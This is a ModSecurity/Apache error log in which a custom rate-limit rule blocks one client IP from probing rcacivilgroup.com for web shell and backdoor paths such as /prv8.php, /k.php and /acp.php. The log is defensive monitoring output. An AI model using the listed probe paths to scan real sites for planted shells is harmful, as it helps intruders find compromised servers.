[Mon Apr 06 20:08:02.025450 2026] [:error] [pid 10280:tid 10296] [client 51.103.130.249:63815] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/"] [unique_id "adOiIl8QUJkf8g-BFfP2fgAAAc0"]
[Mon Apr 06 20:08:02.734865 2026] [:error] [pid 35786:tid 35807] [client 51.103.130.249:63849] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/"] [unique_id "adOiImgkfCKTaLhwaKQbXgAAAM4"]
[Mon Apr 06 20:08:03.990351 2026] [:error] [pid 10280:tid 10293] [client 51.103.130.249:64388] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prv8.php"] [unique_id "adOiI18QUJkf8g-BFfP2hAAAAco"]
[Mon Apr 06 20:08:04.938824 2026] [:error] [pid 9442:tid 9468] [client 51.103.130.249:63898] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prv8.php"] [unique_id "adOiJEPsNnAJTnmz6sbNXgAAARg"]
[Mon Apr 06 20:08:06.033754 2026] [:error] [pid 35688:tid 35756] [client 51.103.130.249:63841] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prv8.php"] [unique_id "adOiJuZ85qg4jLsRpQyqGQAAAIY"]
[Mon Apr 06 20:08:07.131294 2026] [:error] [pid 35688:tid 35751] [client 51.103.130.249:65280] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prv8.php"] [unique_id "adOiJ-Z85qg4jLsRpQyqGwAAAIE"]
[Mon Apr 06 20:08:08.082870 2026] [:error] [pid 9413:tid 9431] [client 51.103.130.249:65217] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "adOiKHllvEK3chn01wHCaQAAAZA"]
[Mon Apr 06 20:08:09.050501 2026] [:error] [pid 9413:tid 9430] [client 51.103.130.249:61814] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "adOiKXllvEK3chn01wHCawAAAY8"]
[Mon Apr 06 20:08:09.996743 2026] [:error] [pid 9413:tid 9422] [client 51.103.130.249:65326] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "adOiKXllvEK3chn01wHCbAAAAYc"]
[Mon Apr 06 20:08:11.052879 2026] [:error] [pid 10280:tid 10300] [client 51.103.130.249:63112] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "adOiK18QUJkf8g-BFfP2kAAAAdE"]
[Mon Apr 06 20:08:12.857921 2026] [:error] [pid 10280:tid 10293] [client 51.103.130.249:63869] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "adOiLF8QUJkf8g-BFfP2lQAAAco"]
[Mon Apr 06 20:08:13.971304 2026] [:error] [pid 10280:tid 10287] [client 51.103.130.249:63125] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "adOiLV8QUJkf8g-BFfP2mQAAAcQ"]
[Mon Apr 06 20:08:30.444393 2026] [:error] [pid 10280:tid 10303] [client 51.103.130.249:63891] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "adOiPl8QUJkf8g-BFfP2wQAAAdQ"]
[Mon Apr 06 20:08:31.257185 2026] [:error] [pid 9442:tid 9463] [client 51.103.130.249:64357] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "adOiP0PsNnAJTnmz6sbNkwAAARM"]
[Mon Apr 06 20:08:32.146997 2026] [:error] [pid 38562:tid 38579] [client 51.103.130.249:65261] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "adOiQKeD6Ohe6wzRuy6FfgAAAU4"]
[Mon Apr 06 20:08:32.962315 2026] [:error] [pid 1827:tid 1852] [client 51.103.130.249:63150] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "adOiQOVeb6S_DnjZ2xEP-gAAAhc"]
[Mon Apr 06 20:08:33.630780 2026] [:error] [pid 9442:tid 9445] [client 51.103.130.249:61829] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "adOiQUPsNnAJTnmz6sbNnwAAAQE"]
[Mon Apr 06 20:08:34.376710 2026] [:error] [pid 10280:tid 10300] [client 51.103.130.249:64364] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "adOiQl8QUJkf8g-BFfP2xQAAAdE"]
[Mon Apr 06 20:08:35.709089 2026] [:error] [pid 9442:tid 9446] [client 51.103.130.249:63128] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "adOiQ0PsNnAJTnmz6sbNrQAAAQI"]
[Mon Apr 06 20:08:36.441896 2026] [:error] [pid 9442:tid 9450] [client 51.103.130.249:65276] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "adOiREPsNnAJTnmz6sbNsAAAAQY"]
[Mon Apr 06 20:08:37.296480 2026] [:error] [pid 35688:tid 35773] [client 51.103.130.249:63890] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "adOiReZ85qg4jLsRpQyqeAAAAJc"]
[Mon Apr 06 20:08:39.221052 2026] [:error] [pid 1827:tid 1831] [client 51.103.130.249:64355] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "adOiR-Veb6S_DnjZ2xEQAgAAAgI"]
[Mon Apr 06 20:08:40.029486 2026] [:error] [pid 35688:tid 35754] [client 51.103.130.249:63893] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "adOiSOZ85qg4jLsRpQyqfwAAAIQ"]
[Mon Apr 06 20:08:40.755873 2026] [:error] [pid 9442:tid 9460] [client 51.103.130.249:65309] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "adOiSEPsNnAJTnmz6sbNyAAAARA"]
[Mon Apr 06 20:08:41.544337 2026] [:error] [pid 10280:tid 10294] [client 51.103.130.249:64430] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "adOiSV8QUJkf8g-BFfP2yQAAAcs"]
[Mon Apr 06 20:08:42.581830 2026] [:error] [pid 10280:tid 10288] [client 51.103.130.249:63914] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "adOiSl8QUJkf8g-BFfP20AAAAcU"]
[Mon Apr 06 20:08:43.507940 2026] [:error] [pid 10280:tid 10284] [client 51.103.130.249:65220] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "adOiS18QUJkf8g-BFfP21QAAAcE"]
[Mon Apr 06 20:08:44.278769 2026] [:error] [pid 38562:tid 38566] [client 51.103.130.249:64380] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "adOiTKeD6Ohe6wzRuy6FlQAAAUE"]
[Mon Apr 06 20:08:45.443519 2026] [:error] [pid 38562:tid 38572] [client 51.103.130.249:63840] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "adOiTaeD6Ohe6wzRuy6FmgAAAUc"]
[Mon Apr 06 20:08:46.147863 2026] [:error] [pid 38562:tid 38568] [client 51.103.130.249:65340] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "adOiTqeD6Ohe6wzRuy6FnQAAAUM"]
[Mon Apr 06 20:08:47.722940 2026] [:error] [pid 10280:tid 10302] [client 51.103.130.249:65225] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "adOiT18QUJkf8g-BFfP22QAAAdM"]
[Mon Apr 06 20:08:48.590108 2026] [:error] [pid 9442:tid 9447] [client 51.103.130.249:65249] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "adOiUEPsNnAJTnmz6sbN6wAAAQM"]
[Mon Apr 06 20:08:49.723751 2026] [:error] [pid 35686:tid 35711] [client 51.103.130.249:65338] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "adOiUcMKdea6oORd2fzVAQAAAA8"]
[Mon Apr 06 20:08:50.636788 2026] [:error] [pid 35688:tid 35768] [client 51.103.130.249:64348] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "adOiUuZ85qg4jLsRpQyqiQAAAJI"]
[Mon Apr 06 20:08:51.414706 2026] [:error] [pid 9442:tid 9445] [client 51.103.130.249:65267] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "adOiU0PsNnAJTnmz6sbN8QAAAQE"]
[Mon Apr 06 20:08:52.445884 2026] [:error] [pid 9442:tid 9453] [client 51.103.130.249:61828] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "adOiVEPsNnAJTnmz6sbN9gAAAQk"]
[Mon Apr 06 20:08:53.029939 2026] [:error] [pid 1827:tid 1848] [client 51.103.130.249:63162] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "adOiVeVeb6S_DnjZ2xEQCQAAAhM"]
[Mon Apr 06 20:08:53.770889 2026] [:error] [pid 35686:tid 35696] [client 51.103.130.249:63884] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "adOiVcMKdea6oORd2fzVBAAAAAA"]
[Mon Apr 06 20:08:54.372589 2026] [:error] [pid 10280:tid 10306] [client 51.103.130.249:64408] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "adOiVl8QUJkf8g-BFfP24AAAAdc"]
[Mon Apr 06 20:08:55.064278 2026] [:error] [pid 9442:tid 9448] [client 51.103.130.249:64377] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "adOiV0PsNnAJTnmz6sbN_gAAAQQ"]
[Mon Apr 06 20:08:55.727324 2026] [:error] [pid 35688:tid 35762] [client 51.103.130.249:63878] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "adOiV-Z85qg4jLsRpQyqkAAAAIw"]
[Mon Apr 06 20:08:56.297324 2026] [:error] [pid 35687:tid 35731] [client 51.103.130.249:64407] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "adOiWJ3LtDozV0i8BitnvAAAAEg"]
[Mon Apr 06 20:08:57.223905 2026] [:error] [pid 35688:tid 35771] [client 51.103.130.249:63876] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "adOiWeZ85qg4jLsRpQyqlAAAAJU"]
[Mon Apr 06 20:08:57.967316 2026] [:error] [pid 9442:tid 9452] [client 51.103.130.249:63877] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "adOiWUPsNnAJTnmz6sbOBgAAAQg"]
[Mon Apr 06 20:08:58.635327 2026] [:error] [pid 10280:tid 10291] [client 51.103.130.249:64446] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "adOiWl8QUJkf8g-BFfP24QAAAcg"]
[Mon Apr 06 20:08:59.389413 2026] [:error] [pid 9442:tid 9451] [client 51.103.130.249:65320] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "adOiW0PsNnAJTnmz6sbOCwAAAQc"]
[Mon Apr 06 20:09:00.082889 2026] [:error] [pid 9442:tid 9466] [client 51.103.130.249:65323] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "adOiXEPsNnAJTnmz6sbOEAAAARY"]
[Mon Apr 06 20:09:00.643377 2026] [:error] [pid 9442:tid 9461] [client 51.103.130.249:64330] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "adOiXEPsNnAJTnmz6sbOEgAAARE"]
[Mon Apr 06 20:09:01.381527 2026] [:error] [pid 35688:tid 35752] [client 51.103.130.249:64346] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "adOiXeZ85qg4jLsRpQyqogAAAII"]
[Mon Apr 06 20:09:02.112994 2026] [:error] [pid 9442:tid 9454] [client 51.103.130.249:63082] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "adOiXkPsNnAJTnmz6sbOFQAAAQo"]
[Mon Apr 06 20:09:02.835686 2026] [:error] [pid 9442:tid 9466] [client 51.103.130.249:65231] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "adOiXkPsNnAJTnmz6sbOGwAAARY"]
[Mon Apr 06 20:09:03.379869 2026] [:error] [pid 9442:tid 9447] [client 51.103.130.249:63099] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "adOiX0PsNnAJTnmz6sbOIgAAAQM"]
[Mon Apr 06 20:09:04.094337 2026] [:error] [pid 9442:tid 9448] [client 51.103.130.249:63836] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "adOiYEPsNnAJTnmz6sbOJAAAAQQ"]
[Mon Apr 06 20:09:04.820761 2026] [:error] [pid 9442:tid 9460] [client 51.103.130.249:65216] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "adOiYEPsNnAJTnmz6sbOKgAAARA"]
[Mon Apr 06 20:09:05.438527 2026] [:error] [pid 9442:tid 9455] [client 51.103.130.249:63906] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "adOiYUPsNnAJTnmz6sbOLgAAAQs"]
[Mon Apr 06 20:09:06.127713 2026] [:error] [pid 35688:tid 35751] [client 51.103.130.249:63916] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "adOiYuZ85qg4jLsRpQyqqQAAAIE"]
